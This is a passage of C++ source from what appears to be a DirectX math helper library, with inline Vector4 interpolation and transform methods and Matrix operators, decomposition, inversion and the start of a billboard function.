using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( &v1 );
XMVECTOR x2 = XMLoadFloat4( &v2 );
XMVECTOR X = XMVectorMin( x1, x2 );
XMStoreFloat4( &result, X );
}
inline Vector4 Vector4::Min( const Vector4& v1, const Vector4& v2 )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( &v1 );
XMVECTOR x2 = XMLoadFloat4( &v2 );
XMVECTOR X = XMVectorMin( x1, x2 );
Vector4 result;
XMStoreFloat4( &result, X );
return result;
}
inline void Vector4::Max( const Vector4& v1, const Vector4& v2, Vector4& result )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( &v1 );
XMVECTOR x2 = XMLoadFloat4( &v2 );
XMVECTOR X = XMVectorMax( x1, x2 );
XMStoreFloat4( &result, X );
}
inline Vector4 Vector4::Max( const Vector4& v1, const Vector4& v2 )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( &v1 );
XMVECTOR x2 = XMLoadFloat4( &v2 );
XMVECTOR X = XMVectorMax( x1, x2 );
Vector4 result;
XMStoreFloat4( &result, X );
return result;
}
inline void Vector4::Lerp( const Vector4& v1, const Vector4& v2, float t, Vector4& result )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( &v1 );
XMVECTOR x2 = XMLoadFloat4( &v2 );
XMVECTOR X = XMVectorLerp( x1, x2, t );
XMStoreFloat4( &result, X );
}
inline Vector4 Vector4::Lerp( const Vector4& v1, const Vector4& v2, float t )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( &v1 );
XMVECTOR x2 = XMLoadFloat4( &v2 );
XMVECTOR X = XMVectorLerp( x1, x2, t );
Vector4 result;
XMStoreFloat4( &result, X );
return result;
}
inline void Vector4::SmoothStep( const Vector4& v1, const Vector4& v2, float t, Vector4& result )
{
using namespace DirectX;
t = (t > 1.0f) ? 1.0f : ((t < 0.0f) ? 0.0f : t); // Clamp value to 0 to 1
t = t*t*(3.f - 2.f*t);
XMVECTOR x1 = XMLoadFloat4( &v1 );
XMVECTOR x2 = XMLoadFloat4( &v2 );
XMVECTOR X = XMVectorLerp( x1, x2, t );
XMStoreFloat4( &result, X );
}
inline Vector4 Vector4::SmoothStep( const Vector4& v1, const Vector4& v2, float t )
{
using namespace DirectX;
t = (t > 1.0f) ? 1.0f : ((t < 0.0f) ? 0.0f : t); // Clamp value to 0 to 1
t = t*t*(3.f - 2.f*t);
XMVECTOR x1 = XMLoadFloat4( &v1 );
XMVECTOR x2 = XMLoadFloat4( &v2 );
XMVECTOR X = XMVectorLerp( x1, x2, t );
Vector4 result;
XMStoreFloat4( &result, X );
return result;
}
inline void Vector4::Barycentric( const Vector4& v1, const Vector4& v2, const Vector4& v3, float f, float g, Vector4& result )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( &v1 );
XMVECTOR x2 = XMLoadFloat4( &v2 );
XMVECTOR x3 = XMLoadFloat4( &v3 );
XMVECTOR X = XMVectorBaryCentric( x1, x2, x3, f, g );
XMStoreFloat4( &result, X );
}
inline Vector4 Vector4::Barycentric( const Vector4& v1, const Vector4& v2, const Vector4& v3, float f, float g )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( &v1 );
XMVECTOR x2 = XMLoadFloat4( &v2 );
XMVECTOR x3 = XMLoadFloat4( &v3 );
XMVECTOR X = XMVectorBaryCentric( x1, x2, x3, f, g );
Vector4 result;
XMStoreFloat4( &result, X );
return result;
}
inline void Vector4::CatmullRom( const Vector4& v1, const Vector4& v2, const Vector4& v3, const Vector4& v4, float t, Vector4& result )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( &v1 );
XMVECTOR x2 = XMLoadFloat4( &v2 );
XMVECTOR x3 = XMLoadFloat4( &v3 );
XMVECTOR x4 = XMLoadFloat4( &v4 );
XMVECTOR X = XMVectorCatmullRom( x1, x2, x3, x4, t );
XMStoreFloat4( &result, X );
}
inline Vector4 Vector4::CatmullRom( const Vector4& v1, const Vector4& v2, const Vector4& v3, const Vector4& v4, float t )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( &v1 );
XMVECTOR x2 = XMLoadFloat4( &v2 );
XMVECTOR x3 = XMLoadFloat4( &v3 );
XMVECTOR x4 = XMLoadFloat4( &v4 );
XMVECTOR X = XMVectorCatmullRom( x1, x2, x3, x4, t );
Vector4 result;
XMStoreFloat4( &result, X );
return result;
}
inline void Vector4::Hermite( const Vector4& v1, const Vector4& t1, const Vector4& v2, const Vector4& t2, float t, Vector4& result )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( &v1 );
XMVECTOR x2 = XMLoadFloat4( &t1 );
XMVECTOR x3 = XMLoadFloat4( &v2 );
XMVECTOR x4 = XMLoadFloat4( &t2 );
XMVECTOR X = XMVectorHermite( x1, x2, x3, x4, t );
XMStoreFloat4( &result, X );
}
inline Vector4 Vector4::Hermite( const Vector4& v1, const Vector4& t1, const Vector4& v2, const Vector4& t2, float t )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( &v1 );
XMVECTOR x2 = XMLoadFloat4( &t1 );
XMVECTOR x3 = XMLoadFloat4( &v2 );
XMVECTOR x4 = XMLoadFloat4( &t2 );
XMVECTOR X = XMVectorHermite( x1, x2, x3, x4, t );
Vector4 result;
XMStoreFloat4( &result, X );
return result;
}
inline void Vector4::Reflect( const Vector4& ivec, const Vector4& nvec, Vector4& result )
{
using namespace DirectX;
XMVECTOR i = XMLoadFloat4( &ivec );
XMVECTOR n = XMLoadFloat4( &nvec );
XMVECTOR X = XMVector4Reflect( i, n );
XMStoreFloat4( &result, X );
}
inline Vector4 Vector4::Reflect( const Vector4& ivec, const Vector4& nvec )
{
using namespace DirectX;
XMVECTOR i = XMLoadFloat4( &ivec );
XMVECTOR n = XMLoadFloat4( &nvec );
XMVECTOR X = XMVector4Reflect( i, n );
Vector4 result;
XMStoreFloat4( &result, X );
return result;
}
inline void Vector4::Refract( const Vector4& ivec, const Vector4& nvec, float refractionIndex, Vector4& result )
{
using namespace DirectX;
XMVECTOR i = XMLoadFloat4( &ivec );
XMVECTOR n = XMLoadFloat4( &nvec );
XMVECTOR X = XMVector4Refract( i, n, refractionIndex );
XMStoreFloat4( &result, X );
}
inline Vector4 Vector4::Refract( const Vector4& ivec, const Vector4& nvec, float refractionIndex )
{
using namespace DirectX;
XMVECTOR i = XMLoadFloat4( &ivec );
XMVECTOR n = XMLoadFloat4( &nvec );
XMVECTOR X = XMVector4Refract( i, n, refractionIndex );
Vector4 result;
XMStoreFloat4( &result, X );
return result;
}
inline void Vector4::Transform( const Vector2& v, const Quaternion& quat, Vector4& result )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( &v );
XMVECTOR q = XMLoadFloat4( &quat );
XMVECTOR X = XMVector3Rotate( v1, q );
X = XMVectorSelect( g_XMIdentityR3, X, g_XMSelect1110 ); // result.w = 1.f
XMStoreFloat4( &result, X );
}
inline Vector4 Vector4::Transform( const Vector2& v, const Quaternion& quat )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( &v );
XMVECTOR q = XMLoadFloat4( &quat );
XMVECTOR X = XMVector3Rotate( v1, q );
X = XMVectorSelect( g_XMIdentityR3, X, g_XMSelect1110 ); // result.w = 1.f
Vector4 result;
XMStoreFloat4( &result, X );
return result;
}
inline void Vector4::Transform( const Vector3& v, const Quaternion& quat, Vector4& result )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( &v );
XMVECTOR q = XMLoadFloat4( &quat );
XMVECTOR X = XMVector3Rotate( v1, q );
X = XMVectorSelect( g_XMIdentityR3, X, g_XMSelect1110 ); // result.w = 1.f
XMStoreFloat4( &result, X );
}
inline Vector4 Vector4::Transform( const Vector3& v, const Quaternion& quat )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat3( &v );
XMVECTOR q = XMLoadFloat4( &quat );
XMVECTOR X = XMVector3Rotate( v1, q );
X = XMVectorSelect( g_XMIdentityR3, X, g_XMSelect1110 ); // result.w = 1.f
Vector4 result;
XMStoreFloat4( &result, X );
return result;
}
inline void Vector4::Transform( const Vector4& v, const Quaternion& quat, Vector4& result )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( &v );
XMVECTOR q = XMLoadFloat4( &quat );
XMVECTOR X = XMVector3Rotate( v1, q );
X = XMVectorSelect( v1, X, g_XMSelect1110 ); // result.w = v.w
XMStoreFloat4( &result, X );
}
inline Vector4 Vector4::Transform( const Vector4& v, const Quaternion& quat )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( &v );
XMVECTOR q = XMLoadFloat4( &quat );
XMVECTOR X = XMVector3Rotate( v1, q );
X = XMVectorSelect( v1, X, g_XMSelect1110 ); // result.w = v.w
Vector4 result;
XMStoreFloat4( &result, X );
return result;
}
inline void Vector4::Transform( const Vector4& v, const Matrix& m, Vector4& result )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( &v );
XMMATRIX M = XMLoadFloat4x4( &m );
XMVECTOR X = XMVector4Transform( v1, M );
XMStoreFloat4( &result, X );
}
inline Vector4 Vector4::Transform( const Vector4& v, const Matrix& m )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( &v );
XMMATRIX M = XMLoadFloat4x4( &m );
XMVECTOR X = XMVector4Transform( v1, M );
Vector4 result;
XMStoreFloat4( &result, X );
return result;
}
_Use_decl_annotations_
inline void Vector4::Transform( const Vector4* varray, size_t count, const Matrix& m, Vector4* resultArray )
{
using namespace DirectX;
XMMATRIX M = XMLoadFloat4x4( &m );
XMVector4TransformStream( resultArray, sizeof(XMFLOAT4), varray, sizeof(XMFLOAT4), count, M );
}
/****************************************************************************
*
* Matrix
*
****************************************************************************/
//------------------------------------------------------------------------------
// Comparision operators
//------------------------------------------------------------------------------
inline bool Matrix::operator == ( const Matrix& M ) const
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&_11) );
XMVECTOR x2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&_21) );
XMVECTOR x3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&_31) );
XMVECTOR x4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&_41) );
XMVECTOR y1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._11) );
XMVECTOR y2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._21) );
XMVECTOR y3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._31) );
XMVECTOR y4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._41) );
return ( XMVector4Equal( x1, y1 )
&& XMVector4Equal( x2, y2 )
&& XMVector4Equal( x3, y3 )
&& XMVector4Equal( x4, y4 ) ) != 0;
}
inline bool Matrix::operator != ( const Matrix& M ) const
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&_11) );
XMVECTOR x2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&_21) );
XMVECTOR x3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&_31) );
XMVECTOR x4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&_41) );
XMVECTOR y1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._11) );
XMVECTOR y2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._21) );
XMVECTOR y3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._31) );
XMVECTOR y4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._41) );
return ( XMVector4NotEqual( x1, y1 )
|| XMVector4NotEqual( x2, y2 )
|| XMVector4NotEqual( x3, y3 )
|| XMVector4NotEqual( x4, y4 ) ) != 0;
}
//------------------------------------------------------------------------------
// Assignment operators
//------------------------------------------------------------------------------
inline Matrix::Matrix(const XMFLOAT3X3& M)
{
_11 = M._11; _12 = M._12; _13 = M._13; _14 = 0.f;
_21 = M._21; _22 = M._22; _23 = M._23; _24 = 0.f;
_31 = M._31; _32 = M._32; _33 = M._33; _34 = 0.f;
_41 = 0.f; _42 = 0.f; _43 = 0.f; _44 = 1.f;
}
inline Matrix::Matrix(const XMFLOAT4X3& M)
{
_11 = M._11; _12 = M._12; _13 = M._13; _14 = 0.f;
_21 = M._21; _22 = M._22; _23 = M._23; _24 = 0.f;
_31 = M._31; _32 = M._32; _33 = M._33; _34 = 0.f;
_41 = M._41; _42 = M._42; _43 = M._43; _44 = 1.f;
}
inline Matrix& Matrix::operator= (const XMFLOAT3X3& M)
{
_11 = M._11; _12 = M._12; _13 = M._13; _14 = 0.f;
_21 = M._21; _22 = M._22; _23 = M._23; _24 = 0.f;
_31 = M._31; _32 = M._32; _33 = M._33; _34 = 0.f;
_41 = 0.f; _42 = 0.f; _43 = 0.f; _44 = 1.f;
return *this;
}
inline Matrix& Matrix::operator= (const XMFLOAT4X3& M)
{
_11 = M._11; _12 = M._12; _13 = M._13; _14 = 0.f;
_21 = M._21; _22 = M._22; _23 = M._23; _24 = 0.f;
_31 = M._31; _32 = M._32; _33 = M._33; _34 = 0.f;
_41 = M._41; _42 = M._42; _43 = M._43; _44 = 1.f;
return *this;
}
inline Matrix& Matrix::operator+= (const Matrix& M)
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_11) );
XMVECTOR x2 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_21) );
XMVECTOR x3 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_31) );
XMVECTOR x4 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_41) );
XMVECTOR y1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._11) );
XMVECTOR y2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._21) );
XMVECTOR y3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._31) );
XMVECTOR y4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._41) );
x1 = XMVectorAdd( x1, y1 );
x2 = XMVectorAdd( x2, y2 );
x3 = XMVectorAdd( x3, y3 );
x4 = XMVectorAdd( x4, y4 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_11), x1 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_21), x2 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_31), x3 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_41), x4 );
return *this;
}
inline Matrix& Matrix::operator-= (const Matrix& M)
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_11) );
XMVECTOR x2 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_21) );
XMVECTOR x3 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_31) );
XMVECTOR x4 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_41) );
XMVECTOR y1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._11) );
XMVECTOR y2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._21) );
XMVECTOR y3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._31) );
XMVECTOR y4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._41) );
x1 = XMVectorSubtract( x1, y1 );
x2 = XMVectorSubtract( x2, y2 );
x3 = XMVectorSubtract( x3, y3 );
x4 = XMVectorSubtract( x4, y4 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_11), x1 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_21), x2 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_31), x3 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_41), x4 );
return *this;
}
inline Matrix& Matrix::operator*= (const Matrix& M)
{
using namespace DirectX;
XMMATRIX M1 = XMLoadFloat4x4( this );
XMMATRIX M2 = XMLoadFloat4x4( &M );
XMMATRIX X = XMMatrixMultiply( M1, M2 );
XMStoreFloat4x4( this, X );
return *this;
}
inline Matrix& Matrix::operator*= (float S)
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_11) );
XMVECTOR x2 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_21) );
XMVECTOR x3 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_31) );
XMVECTOR x4 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_41) );
x1 = XMVectorScale( x1, S );
x2 = XMVectorScale( x2, S );
x3 = XMVectorScale( x3, S );
x4 = XMVectorScale( x4, S );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_11), x1 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_21), x2 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_31), x3 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_41), x4 );
return *this;
}
inline Matrix& Matrix::operator/= (float S)
{
using namespace DirectX;
assert( S != 0.f );
XMVECTOR x1 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_11) );
XMVECTOR x2 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_21) );
XMVECTOR x3 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_31) );
XMVECTOR x4 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_41) );
float rs = 1.f / S;
x1 = XMVectorScale( x1, rs );
x2 = XMVectorScale( x2, rs );
x3 = XMVectorScale( x3, rs );
x4 = XMVectorScale( x4, rs );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_11), x1 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_21), x2 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_31), x3 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_41), x4 );
return *this;
}
inline Matrix& Matrix::operator/= (const Matrix& M)
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_11) );
XMVECTOR x2 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_21) );
XMVECTOR x3 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_31) );
XMVECTOR x4 = XMLoadFloat4( reinterpret_cast<XMFLOAT4*>(&_41) );
XMVECTOR y1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._11) );
XMVECTOR y2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._21) );
XMVECTOR y3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._31) );
XMVECTOR y4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._41) );
x1 = XMVectorDivide( x1, y1 );
x2 = XMVectorDivide( x2, y2 );
x3 = XMVectorDivide( x3, y3 );
x4 = XMVectorDivide( x4, y4 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_11), x1 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_21), x2 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_31), x3 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&_41), x4 );
return *this;
}
//------------------------------------------------------------------------------
// Urnary operators
//------------------------------------------------------------------------------
inline Matrix Matrix::operator- () const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&_11) );
XMVECTOR v2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&_21) );
XMVECTOR v3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&_31) );
XMVECTOR v4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&_41) );
v1 = XMVectorNegate( v1 );
v2 = XMVectorNegate( v2 );
v3 = XMVectorNegate( v3 );
v4 = XMVectorNegate( v4 );
Matrix R;
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._11), v1 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._21), v2 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._31), v3 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._41), v4 );
return R;
}
//------------------------------------------------------------------------------
// Binary operators
//------------------------------------------------------------------------------
inline Matrix operator+ (const Matrix& M1, const Matrix& M2)
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._11) );
XMVECTOR x2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._21) );
XMVECTOR x3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._31) );
XMVECTOR x4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._41) );
XMVECTOR y1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._11) );
XMVECTOR y2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._21) );
XMVECTOR y3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._31) );
XMVECTOR y4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._41) );
x1 = XMVectorAdd( x1, y1 );
x2 = XMVectorAdd( x2, y2 );
x3 = XMVectorAdd( x3, y3 );
x4 = XMVectorAdd( x4, y4 );
Matrix R;
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._11), x1 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._21), x2 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._31), x3 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._41), x4 );
return R;
}
inline Matrix operator- (const Matrix& M1, const Matrix& M2)
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._11) );
XMVECTOR x2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._21) );
XMVECTOR x3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._31) );
XMVECTOR x4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._41) );
XMVECTOR y1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._11) );
XMVECTOR y2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._21) );
XMVECTOR y3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._31) );
XMVECTOR y4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._41) );
x1 = XMVectorSubtract( x1, y1 );
x2 = XMVectorSubtract( x2, y2 );
x3 = XMVectorSubtract( x3, y3 );
x4 = XMVectorSubtract( x4, y4 );
Matrix R;
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._11), x1 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._21), x2 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._31), x3 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._41), x4 );
return R;
}
inline Matrix operator* (const Matrix& M1, const Matrix& M2)
{
using namespace DirectX;
XMMATRIX m1 = XMLoadFloat4x4( &M1 );
XMMATRIX m2 = XMLoadFloat4x4( &M2 );
XMMATRIX X = XMMatrixMultiply( m1, m2 );
Matrix R;
XMStoreFloat4x4( &R, X );
return R;
}
inline Matrix operator* (const Matrix& M, float S)
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._11) );
XMVECTOR x2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._21) );
XMVECTOR x3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._31) );
XMVECTOR x4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._41) );
x1 = XMVectorScale( x1, S );
x2 = XMVectorScale( x2, S );
x3 = XMVectorScale( x3, S );
x4 = XMVectorScale( x4, S );
Matrix R;
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._11), x1 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._21), x2 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._31), x3 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._41), x4 );
return R;
}
inline Matrix operator/ (const Matrix& M, float S)
{
using namespace DirectX;
assert( S != 0.f );
XMVECTOR x1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._11) );
XMVECTOR x2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._21) );
XMVECTOR x3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._31) );
XMVECTOR x4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._41) );
float rs = 1.f / S;
x1 = XMVectorScale( x1, rs );
x2 = XMVectorScale( x2, rs );
x3 = XMVectorScale( x3, rs );
x4 = XMVectorScale( x4, rs );
Matrix R;
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._11), x1 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._21), x2 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._31), x3 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._41), x4 );
return R;
}
inline Matrix operator/ (const Matrix& M1, const Matrix& M2)
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._11) );
XMVECTOR x2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._21) );
XMVECTOR x3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._31) );
XMVECTOR x4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M1._41) );
XMVECTOR y1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._11) );
XMVECTOR y2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._21) );
XMVECTOR y3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._31) );
XMVECTOR y4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M2._41) );
x1 = XMVectorDivide( x1, y1 );
x2 = XMVectorDivide( x2, y2 );
x3 = XMVectorDivide( x3, y3 );
x4 = XMVectorDivide( x4, y4 );
Matrix R;
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._11), x1 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._21), x2 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._31), x3 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._41), x4 );
return R;
}
inline Matrix operator* (float S, const Matrix& M)
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._11) );
XMVECTOR x2 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._21) );
XMVECTOR x3 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._31) );
XMVECTOR x4 = XMLoadFloat4( reinterpret_cast<const XMFLOAT4*>(&M._41) );
x1 = XMVectorScale( x1, S );
x2 = XMVectorScale( x2, S );
x3 = XMVectorScale( x3, S );
x4 = XMVectorScale( x4, S );
Matrix R;
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._11), x1 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._21), x2 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._31), x3 );
XMStoreFloat4( reinterpret_cast<XMFLOAT4*>(&R._41), x4 );
return R;
}
//------------------------------------------------------------------------------
// Matrix operations
//------------------------------------------------------------------------------
inline bool Matrix::Decompose( Vector3& scale, Quaternion& rotation, Vector3& translation )
{
using namespace DirectX;
XMVECTOR s, r, t;
if ( !XMMatrixDecompose( &s, &r, &t, *this ) )
return false;
XMStoreFloat3( &scale, s );
XMStoreFloat4( &rotation, r );
XMStoreFloat3( &translation, t );
return true;
}
inline Matrix Matrix::Transpose() const
{
using namespace DirectX;
XMMATRIX M = XMLoadFloat4x4( this );
Matrix R;
XMStoreFloat4x4( &R, XMMatrixTranspose( M ) );
return R;
}
inline void Matrix::Transpose( Matrix& result ) const
{
using namespace DirectX;
XMMATRIX M = XMLoadFloat4x4( this );
XMStoreFloat4x4( &result, XMMatrixTranspose( M ) );
}
inline Matrix Matrix::Invert() const
{
using namespace DirectX;
XMMATRIX M = XMLoadFloat4x4( this );
Matrix R;
XMVECTOR det;
XMStoreFloat4x4( &R, XMMatrixInverse( &det, M ) );
return R;
}
inline void Matrix::Invert( Matrix& result ) const
{
using namespace DirectX;
XMMATRIX M = XMLoadFloat4x4( this );
XMVECTOR det;
XMStoreFloat4x4( &result, XMMatrixInverse( &det, M ) );
}
inline float Matrix::Determinant() const
{
using namespace DirectX;
XMMATRIX M = XMLoadFloat4x4( this );
return XMVectorGetX( XMMatrixDeterminant( M ) );
}
//------------------------------------------------------------------------------
// Static functions
//------------------------------------------------------------------------------
_Use_decl_annotations_
inline Matrix Matrix::CreateBillboard( const Vector3& object, const Vector3& cameraPosition, const Vector3& cameraUp, const Vector3* cameraForward )
{
using namespace DirectX;
XMVECTOR O = XMLoadFloat3( &object );
XMVECTOR C = XMLoadFloat3( &cameraPosition );
XMVECTOR Z = XMVectorSubtract( O, C );
XMVECTOR N = XMVector3LengthSq( Z );
